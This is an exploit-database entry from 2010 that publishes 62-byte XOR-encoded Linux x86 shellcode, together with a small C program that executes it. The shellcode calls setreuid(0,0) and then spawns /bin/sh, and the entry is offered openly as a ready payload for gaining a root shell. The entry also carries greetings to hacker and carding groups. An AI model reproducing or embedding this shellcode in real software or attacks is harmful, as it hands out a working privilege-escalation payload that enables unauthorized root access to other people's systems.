linux/x86 setreuid(0,0) execve("/bin/sh",NULL,NULL) encoded 62 bytes

2010-07-05T00:00:00
ID 1337DAY-ID-13133
Type zdt
Reporter gunslinger_
Modified 2010-07-05T00:00:00

Description

Exploit for linux/x86 platform in category shellcode

                                        
                                            ========================================================================
linux/x86 setreuid(0,0) execve("/bin/sh",NULL,NULL) XOR encoded 62 bytes
========================================================================


/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Title  : XOR encoded execve execve("/bin/sh",NULL,NULL) with setreuid (0,0) linux shellcode .
Name   : 62 bytes setreuid(0,0) execve("/bin/sh",NULL,NULL) XOR encoded linux shellcode .
Date   : Mon Jul  5 16:58:50 WIT 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)
greetzz to all devilzc0de, jasakom, yogyacarderlink, serverisdown, indonesianhacker and all my friend !!
*/

#include <stdio.h>

char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x26\x80\x74\x0e\xff\x01"
		   "\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff"
		   "\x30\xc1\x30\xda\x30\xc8\x30\xd3\xb1\x47\x30\xda"
		   "\x30\xc8\xcc\x81\xb1\x0a\x52\x69\x2e\x2e\x72\x69"
		   "\x69\x2e\x63\x68\x6f\x88\xe2\x30\xc8\x30\xc8\x52"
		   "\xcc\x81";
		
int main(void)
{
	fprintf(stdout,"Length: %d\n",strlen(shellcode));
	(*(void(*)()) shellcode)();
}



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